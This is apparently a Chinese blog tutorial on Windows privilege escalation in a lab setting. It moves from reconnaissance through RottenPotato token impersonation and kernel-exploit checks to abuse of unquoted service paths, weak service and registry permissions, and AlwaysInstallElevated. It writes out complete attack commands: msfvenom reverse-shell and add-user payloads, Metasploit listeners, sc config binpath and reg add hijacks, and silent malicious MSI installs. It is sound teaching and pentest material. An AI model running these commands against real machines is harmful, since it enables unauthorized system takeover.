Window提权

0x00 权限提升概述

提权概述

权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限 的管理员用户,从而获得对整个系统得控制权。

Windows系统内置用户和组

内置用户:

  • Administrator:系统管理员账户,拥有完全的控制权限
  • Guest:来宾账户,供访问共享资源的网络用户使用,仅有最基本的权限,默认被禁用

内置用户组:

  • Administrators:管理员组
  • Users:新建用的默认所属的组
  • Guests:来宾组,权限最低
Windows:user --> administrator
Linux:user --> root
提权分类

本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。

远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。

纵向提权:低权限角色获得高权限角色的权限。

横向提权:获取同级别角色的权限。

提权条件
  • 拥有Webshell,普通用户权限
  • 拥有某些软件的账号密码
  • 本地或远程服务器上存在漏洞
  • 拥有漏洞利用工具代码
Windows提权思路 •
  • 前期信息收集
  • Meterpreter提权
  • Windows系统内核漏洞
  • Windows服务漏洞
  • Windwos注册表

0x01 Windows提权信息收集

获取meterpreter
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.246 lport=8882 -f exe -o xx.exe -e x86/shikata_ga_nai -i 8

handler -p windows/meterpreter/reverse_tcp -H 192.168.31.246 -P 8882

img

WMIC信息收集
#获取杀软名:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#获取杀软名和安装路径:
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic group					#组帐户管理。
wmic os						#已安装操作系统的管理。
wmic process				#进程管理
wmic service				#服务应用程序管理。
wmic useraccount			#用户帐户管理。
wmic startup				#当用户登录到计算机系统时自动运行的命令的管理。
wmic nic					#网络接口控制器(NIC)管理
wmic信息提取脚本:wmic_info.bat

img

SC信息收集
sc query state= all

img

自动信息收集
Host Information Gathering Script:HIGS.bat
https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%9 4%B6%E9%9B%86/HIGS.bat

img

privilege-escalation-awesome-scripts:winPEAS.bat
https://github.com/carlospolop/privilege-escalation-awesome-scriptssuite/blob/master/winPEAS/winPEASbat/winPEAS.bat
https://github.com/M4ximuss/Powerless
提权工具脚本
RottenPotato: 将服务帐户本地提权至SYSTEM
load incognito
list_tokens –u
upload /root/rottenpotato.exe .
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

img

基于RottenPotato二次开发的软件:

Origin Potato : https://github.com/foxglovesec/Potato 

RottenPotato & JuicyPotato: https://github.com/ohpe/juicy-potato 

RoguePotato: https://github.com/antonioCoco/RoguePotato 

SweetPotato: https://github.com/CCob/SweetPotato
SweetPotato

img

Getsystem

img

0x02 Windows内核漏洞提权

#检查Windows版本是否有任何已知的漏洞:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version“
wmic qfe get Caption,Description,HotFixID,InstalledOn

#列出所有补丁:
powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"

#列出安全更新补丁:
powershell -c "Get-Hotfix -description 'Security update'"
windows-kernel-exploits(Windows平台提权漏洞集合):
https://github.com/SecWiki/windows-kernel-exploits
MSF
use post/multi/recon/local_exploit_suggester
set SESSION 
exploit

img

0x03 Windows系统服务漏洞

可信任服务路径

可信任服务路径:存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限, Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候 也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

例如:

C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

C:\Program.exe 

C:\Program Files (x86)\Windows.exe 

C:\Program Files (x86)\Windows Folder\Common.exe 

C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe

Windows在寻找这个文件的时候,碰见空格会先找寻Program.exe这个文件,如果当前文件下没有Program.exe,则会继续向下走到第二个目录,碰见空格,又执行Windows.exe,以此类推,直到执行到Folder.exe。

所以,我们可以通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名, 则可利用此漏洞。

  1. 检查目标主机是否可能存在漏洞:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\"|findstr/i /v """

img

  1. 检查对有漏洞目录是否有写入权限
icacls "C:\Program Files (x86)\Program Folder"

F = 完全控制

CI = 容器继承 - 此标志指示从属容器将继承此ACE。

OI = Object Inherit - 这个标志表示从属文件将继承ACE

img

  1. 生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.246 LPORT=9999 -f exe -o A.exe

img

  1. 上传exe到漏洞目录
upload A.exe 'C:\Program Files (x86)\Program Folder\'

img

  1. 开启监听
handler -H 192.168.31.246 -P 9999 -p windows/meterpreter/reverse_tcp
  1. 重启服务
sc stop "Vulnerable Service”
sc start "Vulnerable Service

img

  1. 设置自动迁移进程,重新开启监听,获取meterpreter
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 9999
set lhost 192.168.31.246
set autorunscript migrate –f

img

不安全的服务权限

Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。

JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。 而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。

所以如果一个低权限的用户对于此类 系统服务调用的可执行文件具有可写的权限,那么就可以修改服务的属性,将其替换成我们的恶意可执行文件,从 而随着系统启动服务而获得系统权限。

  1. 利用accesschk工具检查易受到攻击的服务
       accesschk64.exe -ucqv "anthus" * /accepteula
    

    img

  2. .查看可完全控制的服务的属性
       sc qc "Vulnerable Service"
    

    img

  3. 修改服务配置执行命令binpath

    BINARY_PATH_NAME参数指向了该服务的可执行程序(Executable.exe)路径。如果我们将这个值修改成任何命令, 那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行

       sc config "Vulnerable Service" binpath= "net user zhangsan 123456 /add"
       sc stop "Vulnerable Service"
       sc start "Vulnerable Service" 
    

    img

Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户 Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。

SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权

BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这个 命令在该服务下一次启动时,将会以SYSTEM权限运行。

#将张三添加至管理员组,使得账户拥有管理员权限
sc config "Vulnerable Service" binpath= "net localgroup Administrators zhangsan /add"
sc stop "Vulnerable Service"
sc start "Vulnerable Service" 
不安全的注册表权限

Windows中,与服务相关的信息存在 HKLM[HKEY_LOCAL_MACHINE]\SYSTEM\CurrentControlSet\Services 注册表中。 如果想查看有关 “易受攻击的服务”的信息,应该检查HKLM\SYSTEM\ControlSet\Services\Vulnerable Service 的键值。

工具: Subinacl
https://www.microsoft.com/en-us/download/details.aspx?id=23510
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display

如果对注册表项有写入权限,我们可以通过编辑ImagePath值来更改此服务的可执行路径。

img

  1. msfvenom生成木马
       msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe
    

    img

  2. 上传到机器上
       upload adduser.exe C:\\Windows\\Temp\\
    

    img

  3. 执行修改命令
       reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\Temp\adduser.exe" /f
    

    注册表被成功替换

    img

  4. 重新启动服务,用户被成功添加

    img

不安全的文件/文件夹权限

这与我们用非引用服务路径所做的非常相似。无引号的服务路径利用了“CreateProcess”功能的弱点,以及服务 的可执行文件路径的文件夹权限。

在这里可以直接替换可执行文件。

icacls "C:\Program Files (x86)\Program Folder"

默认的服务文件是C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe 将“Executable.exe”文件替换成一个反弹shell payload,并且当服务重启时,会反弹一个SYSTEM权限的 meterpreter 会话

Always Install Elevated

任意用户以NT AUTHORITY\SYSTEM权限安装msi。

AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权 用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权 限执行任意payload。

判断是否启用此策略设置:
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

收到“错误:系统无法找到指定的注册表项或值”的错误,则表示此注册表值从未创建。 说明政策没有启用。

收到“AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。

启用Always Install Elevated:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t
REG_DWORD /d 1
  1. 使用msfvenom生成恶意msi程序上传
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.246 LPORT=8881 -f exe -o localmsf8881.exe

#反弹shell
msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\LYXC\AppData\Local\Temp\localmsf8882.exe" > malicious.msi

#添加用户
msfvenom -p windows/adduser USER=test PASS=Password@123 --platform windows -a x86 -f msinouac -o test.msi

img

  1. 将这两个上传到目标机器
meterpreter > upload localmsf8881.exe C:\\Users\\LYXC\\AppData\\Local\\Temp\\
meterpreter > upload malicious.msi C:\\Users\\LYXC\\AppData\\Local\\Temp\\

img

  1. 运行恶意程序
msiexec /quiet /qn /i C:\Users\LYXC\AppData\Local\temp\malicious.msi

# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序

img

直接收到了第二个session

img

但是权限依然只是LYXC,并不是System的最高权限,是因为Metasploit生成的msi文件 在运行时没有要求提升权限,所以导致了这个问题,这时可以使用微软官方的MSI生成工具

https://www.exemsi.com/downloads/msi_wrapper/MSI_Wrapper_9_0_42_0.msi

img

上传malicious.msi至靶机,运行恶意程序

msiexec /quiet /qn /i C:\Users\anthus\AppData\Local\temp\malicious.msi

img

成功提权

posted @ 2023-09-08 20:55  树大招疯  阅读(199)  评论(0编辑  收藏  举报